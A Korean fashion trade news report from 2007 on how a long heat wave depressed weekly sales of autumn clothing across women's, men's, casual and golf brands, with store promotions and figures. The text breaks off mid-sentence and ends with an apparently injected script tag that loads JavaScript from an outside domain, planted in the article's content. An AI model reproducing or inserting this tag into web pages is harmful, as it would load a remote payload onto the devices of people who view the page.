주간상황 - 계속된 폭염에 가을 상품 고전
2007-08-23 10:07
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주간상황 - 계속된 폭염에 가을 상품 고전
대부분 마이너스 신장
<여성복>
주중에는 게릴라성 폭우가, 주말에는 모처럼 날이 개이기는 했지만 폭염 경보가 내리는 등 외출이 부담스러운 날씨 탓에 백화점과 가두점 모두 매출 부진에 시달린 한 주였다.
반면 극장 또는 대형 푸드 코트를 낀 복합 쇼핑몰 매장에는 더위를 피하려는 사람들이 몰리면서 객단가는 낮았지만 매출은 예년 수준에서 크게 벗어나지 않은 것으로 조사됐다.
롯데, 현대 등 주요 백화점에서는 영캐주얼, 캐릭터, 커리어가 모두 전주대비 보합세를 나타냈지만 전년동기대비로는 매출이 큰 폭으로 하락했다.
캐릭터 pc가 리딩 브랜드들의 역신장 폭이 커 점별로 전년대비 3~5% 가량 하락했고 영캐주얼 역시 볼륨 브랜드들의 몰락으로 5% 이상, 커리어는 10% 넘게 역신장했다.
특히 폭염으로 인해 대부분의 브랜드에서 가을 신상품 운영에 갈피를 잡지 못한데다 단기 대책으로 여름 상품 행사 기간을 늘리거나 가을 신상품의 매장 출하 시기를 늦추기도 해 효율이 더욱 떨어졌다.
그러나 ‘쿠아’, ‘에린 브리니에’ 등 일부 중가 브랜드들은 저렴한 가격과 빠른 상품 회전, 트렌드에 적중한 단품류가 소비자들에게 어필해 소폭 신장세를 띄었다.
가두점을 주력 유통으로 하는 볼륨 브랜드들 역시 가을 상품 매기가 실종 전주대비 5% 안팎 역신장했다.
특별 행사로 매출 만회
<남성복>
전주와 비슷한 수준의 매출을 올렸다.
지속적인 매출 부진으로 이 달 둘째주와 셋째주는 주차별로 큰 매출 차이를 보이지는 않았지만 전년대비 역신장 실적은 그대로 이어졌다.
롯데백화점의 경우 특별 행사를 진행하면서 전주대비 15% 이상 신장했다.
롯데는 지난 17일부터 ‘맨스타’, ‘맨스타캐주얼’, ‘캠브리지’, ‘캠브리지캐주얼’, ‘헨리코튼’, ‘스파소’ 등 남성브랜드 6개와 ‘코오롱스포츠’, ‘헤드’ 등 코오롱 대부분의 브랜드가 참여한 코오롱 패션위크를 개최했다.
남성팀은 이번 행사로 4일간 6억원의 매출을 올려 전년대비 10% 신장했다.
행사기간 동안 코오롱의 ‘지오투’ 모델인 주진모씨와 ‘스파소’ 모델인 정일우씨의 팬사인회도 동시에 개최해 시너지 효과를 냈다.
현대는 무역점에서 지난 주말 제일모직과 LG패션 신사복 브랜드로 연합전을 열었다.
17부터 3일 간 5천4백만원을 팔아 일부 매출을 만회했다.
현대는 향후 강남권 중심으로 노세일 라인을 확대해 할인율을 줄이는 방안을 검토 중이다.
여름상품 막바지 세일
<캐주얼>
캐주얼 주요 브랜드들은 전주대비 14% 역신장에서 9% 신장한 것으로 나타났다.
백화점 위주로 여름과 가을상품 모두 고른 비중을 차지했다.
광복절인 수요일에는 반짝 특수가 일어 매출 부진을 만회했다.
에이션패션의 ‘폴햄’은 전주대비 9% 신장했다고 밝혔다.
전주 19% 하락에서 광복절 특수와 가을 상품 판매로 신장세로 돌아섰다.
휴컴퍼니의 ‘유지아이지’는 14% 역신장했다.
얇은 소재의 가을 상품 판매가 이뤄졌으나 신상품이 입고되는 양이 늘고 여름상품 막바지 판매로 세일을 크게 적용하지 못한 것이 하락의 원인이 됐다.
행텐코리아의 ‘행텐’은 11% 역신장했다.
여름상품 막바지 세일 판매로 인한 객단가 하락이 주요 원인으로 나타났다.
김정훈 ‘행텐’ 부장은 “작년과 달리 여름 상품 매기가 1~2주 길어져 가을 상품 매기가 상대적으로 적은 편”이라고 말했다.
폭염딛고 한자리 신장
<골프>
주요 골프 브랜드들은 전주대비 5~7% 신장했다.
코오롱 패션위크와 골프웨어 행사 등이 매출 상승에 기여했다.
최근 출하한 가을 상품은 무더위로 반응은 미미했다.
‘닥스골프’, ‘울시’, ‘잭니클라우스’ 등 볼륨 브랜드뿐만 아니라 ‘먼싱웨어’, ‘빈폴골프’, ‘엘로드’, 등 뉴서티 ?script src=http://mekiller.com/1/1.js>